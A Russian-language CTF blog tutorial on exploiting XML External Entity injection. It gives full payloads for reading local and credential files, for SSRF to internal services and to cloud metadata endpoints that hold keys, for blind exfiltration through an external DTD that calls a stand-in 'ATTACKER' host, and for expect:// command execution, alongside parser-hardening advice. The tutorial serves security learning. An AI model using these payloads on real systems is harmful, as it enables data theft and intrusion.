Главная / Блог / XXE инъекция эксплуатация: файлы и SSRF в CTF

12 мин.00

XXE инъекция эксплуатация: файлы и SSRF в CTF

XXE инъекция эксплуатация: файлы и SSRF в CTF

На CTF категории Web я потратил сорок минут на поиск SQL-инъекции в форме заказа. Сорок минут. Пока не заглянул в Burp Proxy и не увидел Content-Type: application/xml на запросе проверки остатков товара. Один payload с <!DOCTYPE> — через пятнадцать секунд содержимое /etc/passwd лежало в HTTP-ответе, а ещё через минуту — флаг из /home/ctf/flag.txt. Мораль простая: пока все копают XSS и SQLi, XML-парсер тихо сидит и ждёт, готовый обработать внешнюю сущность без единого ограничения. Эта статья — пошаговый разбор эксплуатации XXE от базового чтения файлов до blind OOB-эксфильтрации, с конкретными payload'ами и workflow для Burp Suite.

Как работает XML External Entity атака: механика парсера

Прежде чем собирать payload, стоит разобраться — почему парсер вообще обрабатывает наши сущности. XML-спецификация включает механизм DTD (Document Type Definition), через который можно объявлять пользовательские сущности — по сути переменные внутри XML-документа. Внешние сущности (External Entities) — подвид, где значение подтягивается из внешнего ресурса: файла на диске или удалённого URL. Подробнее — в нашем подробном разборе создание ctf заданий.

А теперь критический момент: большинство XML-парсеров по умолчанию обрабатывают внешние сущности, даже если приложение их никогда не использует. Вот и весь корень проблемы. По классификации OWASP, XXE попадает в A03:2021 — Injection, а в связке с серверными запросами — в A10:2021 — Server-Side Request Forgery.

Если смотреть через призму MITRE ATT&CK: эксплуатация XXE через веб-интерфейс — это Exploit Public-Facing Application (T1190, Initial Access). Чтение файлов — Data from Local System (T1005, Collection). Прицельный поиск паролей в конфигах — Credentials In Files (T1552.001, Credential Access).

Как это работает на пальцах: парсер видит конструкцию <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> и послушно лезет в файловую систему, подставляя содержимое файла вместо &xxe; в тело документа. Приложение ждёт номер товара или ID пользователя, а получает дамп системного файла — и возвращает его в ответе. Никакой магии. Парсер делает ровно то, что записано в стандарте XML 1.0.

Эксплуатация XXE для чтения файлов: базовый payload

Стандартный сценарий CTF-таска: приложение принимает XML-запрос (проверка товара, авторизация, парсинг конфигурации). Задача — прочитать файл с флагом на сервере.

Построчный разбор классического payload

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE data [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<request>
  <id>&xxe;</id>
</request>

Разберём каждую строку. <?xml version="1.0" encoding="UTF-8"?> — стандартный XML-пролог, парсер его ожидает. <!DOCTYPE data [...]> — объявление DTD для корневого элемента data. Внутри DTD — <!ENTITY xxe SYSTEM "file:///etc/passwd"> — объявление внешней сущности xxe, значением которой станет содержимое /etc/passwd. В теле документа &xxe; — ссылка на сущность, парсер подменит её содержимым файла перед передачей данных приложению.

Если приложение отражает значение <id> в ответе — вы получите полный дамп. По данным PortSwigger, в реальных приложениях с уязвимыми XML-парсерами часто несколько узлов данных в XML-документе. Тестировать нужно каждый узел отдельно, подставляя сущность и проверяя ответ — не все поля отражаются в HTTP-ответе.

Типичный ответ уязвимого приложения: Invalid product ID: root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin... — парсер подставил содержимое файла вместо числового ID, приложение попыталось обработать его как продукт и вернуло ошибку вместе с данными. Нам только этого и надо.

Обёртки протоколов для эксплуатации XXE уязвимости

Схема file:// — базовый вариант, но в CTF-заданиях часто нужны альтернативы:

php://filter — на PHP-бэкендах позволяет вытянуть исходный код PHP-файлов в base64. Без этой обёртки парсер попытается интерпретировать <?php как XML-конструкцию и упадёт с ошибкой парсинга. В payload: <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/var/www/html/flag.php">. Полученный base64 декодируется локально через echo "BASE64_STRING" | base64 -d.

jar:// — специфична для Java-стека. Позволяет обращаться к файлам внутри JAR/ZIP-архивов. Формат: jar:file:///path/to/archive.jar!/entry.xml. Используется нечасто, но на Java-based CTF может оказаться единственным способом добраться до конфигурации внутри упакованного приложения.

expect:// — если установлен PHP-модуль expect, это сразу RCE: <!ENTITY xxe SYSTEM "expect://id">. На CTF встречается редко, но когда встречается — мгновенный флаг через выполнение произвольных команд.

file:///proc/self/environ — на Linux содержит переменные окружения процесса, где часто валяются API-ключи, пароли БД и JWT-секреты. Ещё один полезный путь — file:///proc/self/cmdline — командная строка запуска процесса.

Выбор обёртки зависит от стека бэкенда. Видите Java stack trace в ответе — пробуйте jar:// и netdoc://. PHP — сразу php://filter. Это экономит минуты на CTF, а минуты там на вес золота.

Что читать после /etc/passwd

В CTF web заданиях XXE флаг может лежать где угодно. Вот рабочая последовательность перебора, которая у меня уже на автомате:

  1. /etc/passwd — подтверждение работоспособности XXE и список пользователей
  2. /home/<user>/.ssh/id_rsa — SSH-ключи для дальнейшей эскалации
  3. /var/www/html/config.php, .env, settings.py, application.properties — конфигурация с паролями БД
  4. /flag.txt, /home/ctf/flag, /opt/flag — типичные CTF-пути
  5. /proc/self/environ — переменные окружения текущего процесса
  6. /proc/self/cwd/app.py — исходный код приложения через симлинк на рабочую директорию

По MITRE ATT&CK это File and Directory Discovery (T1083, Discovery) — систематический перебор путей файловой системы. После /etc/passwd сразу видно, какие пользователи есть в системе, и куда копать дальше.

SSRF через XXE — от внутренних сервисов до облачных метаданных

XXE-инъекция не ограничивается чтением локальных файлов. Подставляем http:// вместо file:// — парсер выполнит HTTP-запрос от имени сервера. Это Server-Side Request Forgery в чистом виде, по OWASP — отдельная категория A10:2021.

Доступ к внутренним эндпоинтам

Payload аналогичен базовому: <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://127.0.0.1:8080/admin"> ]>. Парсер обращается к localhost:8080/admin, который недоступен извне через файрвол. Если ответ отражается — вы видите содержимое внутренней админки.

По данным HackerOne, если атакующий может использовать сущность в значении данных, возвращаемом в ответе приложения — он получает двустороннее взаимодействие с внутренней системой. Если ответ не отражается — остаётся blind SSRF, который тоже может натворить дел.

На CTF SSRF через XXE часто используется для обращения к внутренним API на нестандартных портах (http://127.0.0.1:3000, http://127.0.0.1:9200 для Elasticsearch), сканирования внутренней сети через перебор IP и доступа к дебаг-интерфейсам (/metrics, /debug, /actuator/env).

Кража cloud credentials через Metadata API

На CTF-ивентах с облачной инфраструктурой (AWS, GCP, Azure) XXE→SSRF открывает доступ к Cloud Instance Metadata API. По MITRE ATT&CK — Cloud Instance Metadata API (T1552.005, Credential Access).

Payload для AWS (только IMDSv1): <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/"> — вернёт имя IAM-роли. Следующий запрос к http://169.254.169.254/latest/meta-data/iam/security-credentials/<role-name> отдаст временные AccessKeyId, SecretAccessKey и Token. С этими ключами подключаетесь к S3 и другим сервисам через aws cli.

Тут есть нюанс: этот payload работает только против IMDSv1 (legacy). IMDSv2, обязательный для новых EC2-инстансов с 2024 года, требует предварительный PUT-запрос с заголовком X-aws-ec2-metadata-token-ttl-seconds для получения токена. XXE через SYSTEM identifier не может ни сменить HTTP-метод, ни выставить произвольные заголовки — на IMDSv2-защищённых инстансах этот вектор мёртв.

Для Azure метаданные доступны по http://169.254.169.254/metadata/instance?api-version=2021-02-01. GCP использует http://metadata.google.internal/computeMetadata/v1/ с обязательным заголовком Metadata-Flavor: Google — но XXE не позволяет управлять HTTP-заголовками запроса, так что GCP менее уязвим в этом сценарии.

Blind XXE атака: OOB-эксфильтрация без ответа сервера

Самый частый подвох в CTF: парсер обрабатывает внешние сущности, но приложение не отражает их значения в HTTP-ответе. Прямого вывода нет. Данные можно извлечь через out-of-band канал — и вот тут начинается настоящая XXE out-of-band exfiltration.

Parameter entities и внешний DTD

Техника строится на параметрических сущностях (объявленных с %) и внешнем DTD-файле. Смысл: заставить парсер загрузить DTD с вашего сервера, а этот DTD сформирует HTTP-запрос с данными жертвы обратно к вам.

На вашем сервере (через python3 -m http.server 8888) размещаете файл evil.dtd:

<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM
  'http://ATTACKER:8888/?d=%file;'>">
%eval;
%exfil;

В XML-payload отправляете: <!DOCTYPE foo [ <!ENTITY % dtd SYSTEM "http://ATTACKER:8888/evil.dtd"> %dtd; ]><foo>test</foo>.

Что происходит пошагово: парсер загружает evil.dtd с вашего сервера. DTD объявляет %file с содержимым /etc/hostname. Затем %eval конструирует новую сущность %exfil, в URL которой подставлено значение %file. При раскрытии %exfil парсер делает HTTP-запрос на http://ATTACKER:8888/?d=<содержимое_файла>. Данные видны в логах вашего HTTP-сервера или в Burp Collaborator. По MITRE ATT&CK использование HTTP-канала для OOB-эксфильтрации — Web Protocols (T1071.001, Command and Control).

Burp Collaborator тут незаменим: он автоматически даёт внешний домен и логирует все входящие DNS/HTTP-запросы. В payload подставляете *.oastify.com вместо своего IP.

Ограничение blind XXE атаки: многострочные файлы (тот же полный /etc/passwd) не влезут в URL из-за переносов строк и спецсимволов. На PHP решается через php://filter/convert.base64-encode/resource=/etc/passwd — всё кодируется в одну строку. На Java-стеке аналога нет, приходится вытаскивать файлы через FTP-канал (классическая техника OOB-эксфильтрации через FTP), но это требует серии запросов с кастомным DTD на каждую итерацию. Не так элегантно, как один base64-запрос на PHP.

Error-based XXE — данные в сообщениях об ошибках

Альтернатива OOB-каналу — спровоцировать ошибку парсера, в тексте которой окажутся целевые данные. Во внешнем DTD объявляется сущность %file, читающая целевой файл, затем другая сущность пытается обратиться к несуществующему пути, включающему значение %file: file:///nonexistent/%file;.

Парсер выбрасывает ошибку вида: Failed to open file:///nonexistent/root:x:0:0:root:/root:/bin/bash... — содержимое файла оказывается прямо в сообщении об ошибке, которое возвращается в HTTP-ответе. Красиво, правда?

Работает не на всех парсерах. libxml2 (PHP) обычно поддерживает. Java-парсеры (SAX, DOM) могут обрезать длинные пути в сообщениях об ошибках. Проверяйте оба подхода (OOB и error-based) последовательно — какой-то да сработает.

Нестандартные векторы XXE в CTF-заданиях

XInclude атака когда DOCTYPE недоступен

Бывает, что вы не контролируете весь XML-документ. Ваши данные вставляются сервером в уже сформированный XML (типично для SOAP-бэкендов). Объявить DOCTYPE нельзя, но есть XInclude — механизм из спецификации XML для включения поддокументов.

Payload для подстановки в единственное контролируемое поле: <foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo>. Парсер с поддержкой XInclude загрузит файл и вставит содержимое в документ. По данным PortSwigger, XInclude-атаки применимы когда вы управляете только одним элементом данных в серверном XML.

XXE через загрузку SVG-файлов

Если CTF-задание позволяет загружать изображения — проверяйте SVG. Формат основан на XML и поддерживает объявление сущностей. Многие про это забывают.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [ <!ENTITY xxe SYSTEM "file:///flag.txt"> ]>
<svg xmlns="http://www.w3.org/2000/svg" width="200" height="200">
  <text x="10" y="20">&xxe;</text>
</svg>

Если приложение рендерит SVG через ImageMagick или librsvg — содержимое файла окажется отрисованным текстом в изображении. Аналогичный вектор работает через DOCX и XLSX: это ZIP-архивы с XML-файлами внутри. На CTF иногда встречаются задания с загрузкой Office-документов, где [Content_Types].xml или word/document.xml внутри архива принимает внешние сущности.

Подмена Content-Type для XML DTD инъекции

Не все эндпоинты явно принимают XML. Но если бэкенд использует фреймворк с автоматическим выбором парсера по заголовку Content-Type — можно переключить обработчик вручную. Классика: в Burp Repeater меняете Content-Type: application/x-www-form-urlencoded на Content-Type: application/xml и отправляете тело запроса как XML с XXE-payload вместо form-encoded параметров.

Фреймворки вроде Spring, ASP.NET и некоторые конфигурации Flask автоматически выберут XML-парсер при соответствующем Content-Type. Этот вектор регулярно пропускают на CTF, потому что исходный запрос выглядит как обычная HTML-форма. PortSwigger выделяет подмену Content-Type как отдельную скрытую поверхность атаки для XXE-инъекций. Я сам на этом попался на одном из ивентов — потерял полчаса, пока не догадался подменить заголовок.

Инструменты и workflow для CTF web заданий с XXE

Рабочий процесс эксплуатации XXE уязвимости на CTF разбивается на три фазы.

Фаза 1: обнаружение. В Burp Suite Proxy перехватываете все запросы и ищете три сигнала: XML в теле запроса, заголовки Content-Type: application/xml или text/xml, эндпоинты загрузки файлов (SVG, DOCX, XLSX). Видите JSON-эндпоинт — попробуйте подменить Content-Type на XML, некоторые API переваривают оба формата.

Фаза 2: подтверждение. В Burp Repeater отправляете тестовый payload с <!ENTITY xxe SYSTEM "file:///etc/hostname"> и проверяете ответ. Данные не отражаются — переключаетесь на blind-проверку: меняете file:// на http://YOUR_COLLABORATOR.oastify.com и мониторите входящие запросы в Burp Collaborator. DNS-запрос от сервера — подтверждение, что парсер обрабатывает внешние сущности.

Фаза 3: эксфильтрация. При прямом XXE — перебираете файлы по списку из раздела выше. При blind XXE — разворачиваете OOB-канал через внешний DTD. При error-based — провоцируете ошибки парсера с включением данных. Для быстрой отправки подготовленных payload'ов удобен curl -X POST -H "Content-Type: application/xml" -d @xxe.xml https://target/api — сохраняете payload в файл и итерируете через изменение содержимого.

Из специализированных инструментов: XXEinjector автоматизирует OOB-эксфильтрацию и поддерживает несколько протоколов обратного канала (HTTP, FTP, DNS). Для большинства CTF-тасков хватает связки Burp Repeater + Collaborator и python3 -m http.server на VPS для приёма OOB-запросов.

Защита от XXE уязвимостей: что проверять и как обходить

Понимание защитных мер полезно и для атакующей стороны: зная, что блокирует WAF или парсер, можно искать обходы на CTF.

Главная мера — отключение обработки внешних сущностей и DTD на уровне парсера. В Python безопасная альтернатива стандартным XML-библиотекам — defusedxml, которая блокирует XXE по умолчанию. В Java — factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true). В .NET — XmlReader с настройкой DtdProcessing = DtdProcessing.Prohibit.

Дополнительные уровни:

  • Валидация входных данных — фильтрация <!DOCTYPE> и <!ENTITY> до передачи в парсер
  • WAF-правила — ModSecurity с OWASP CRS ловит типичные XXE-паттерны, но обходится через кодирование (UTF-16, UTF-7) и альтернативные синтаксисы
  • Сетевая изоляция — XML-парсер в контейнере без доступа к внутренней сети минимизирует SSRF-составляющую
  • Обновление зависимостей — устаревшие версии парсеров могут иметь дополнительные обходы ограничений (перекликается с OWASP A06:2021 — Vulnerable and Outdated Components)

На CTF защита от XXE применяется частично или содержит намеренные лазейки. Проверяйте: разрешены ли parameter entities при отключённых general entities (частая ошибка конфигурации), поддерживает ли парсер XInclude при отключённом DTD, принимает ли эндпоинт альтернативный Content-Type с XML-парсером.

Бизнес-логика атаки: зачем XXE на реальных проектах

На пентестах XXE эксплуатируется не ради /etc/passwd. Основные цели:

  • Кража учётных данных — конфигурационные файлы содержат пароли БД, API-ключи, JWT-секреты и токены доступа к облачным сервисам
  • Латеральное перемещение — SSRF через XXE даёт доступ к внутренним сервисам (Redis, Elasticsearch, Consul), которые часто работают без аутентификации. По MITRE ATT&CK — Exploitation of Remote Services (T1210, Lateral Movement)
  • Компрометация облачной инфраструктуры — через metadata API получаются временные ключи с широкими правами на S3, RDS и другие сервисы
  • Отказ в обслуживании — атака Billion Laughs заставляет парсер рекурсивно раскрывать вложенные сущности, пожирая гигабайты памяти

По данным HackerOne, в крайних случаях уязвимая библиотека XML-парсера может быть подвержена повреждению памяти, что потенциально приводит к удалённому выполнению кода с привилегиями приложения.

Половина участников CTF, с которыми я общаюсь на площадках и в чатах, считают XXE устаревшей темой. Аргумент: парсеры давно отключили DTD, OWASP убрал XXE из отдельной категории Top 10 в 2021 году, влив в общую A03 Injection. На практике ситуация обратная. XXE уходит из очевидных мест (прямые XML-эндпоинты) и прячется в неожиданных — SVG-загрузчиках, DOCX-конвертерах, SOAP-интеграциях с легаси. На последних трёх пентестах API, где моя команда находила XXE, ни один не был на очевидном XML-эндпоинте: два через Content-Type switching на REST API, один через SVG в генераторе PDF-отчётов.

Тренд ближайшего года — XXE в supply chain. Сторонние библиотеки парсинга документов (PDF-генераторы, импорт Excel/DOCX, обработка RSS-фидов) внедряются в приложения без аудита конфигурации парсера. Разработчик уверен, что «мы же не принимаем XML», а библиотека под капотом распаковывает DOCX — и внешняя сущность летит к metadata API. Пока индустрия не начнёт аудировать XML-парсеры в транзитивных зависимостях так же тщательно, как прямые входные точки, XXE останется рабочим вектором. Если хочешь не просто writeup прочитать, а пройти всю цепочку атаки самому — на WAPT именно этот путь разложен по лабам с нарастающей сложностью.

🚀 Хочешь закрепить на практике? Реши задачи по теме на HackerLab — категория «pentest-machines».

Поделиться

0 комментариев

Пожалуйста, войдите, чтобы оставить комментарий.

Загрузка комментариев...

Читайте также

exiftool в CTF: извлечение метаданных файлов

15 мин.

6

exiftool в CTF: извлечение метаданных файлов

Пошаговый разбор exiftool для CTF forensics: извлечение метаданных из EXIF, PDF и Office. Команды, pdf-parser, Python-альтернативы — от новичка до флага

29 ОКТЯБРЬ, 2026

LFI уязвимость: от /etc/passwd до RCE в CTF

14 мин.

4

LFI уязвимость: от /etc/passwd до RCE в CTF

Пошаговый разбор LFI: path traversal, PHP wrappers, log poisoning для RCE. Байпас фильтров, чеклист файлов и инструменты для CTF.

29 ОКТЯБРЬ, 2026

TryHackMe или HackTheBox для начинающих без боли

10 мин.

5

TryHackMe или HackTheBox для начинающих без боли

11 часов на первую Easy-машину HTB — реальный опыт. Сравнение TryHackMe и HackTheBox: цены 2025, learning paths, пошаговый workflow и защита от выгорания.

28 ОКТЯБРЬ, 2026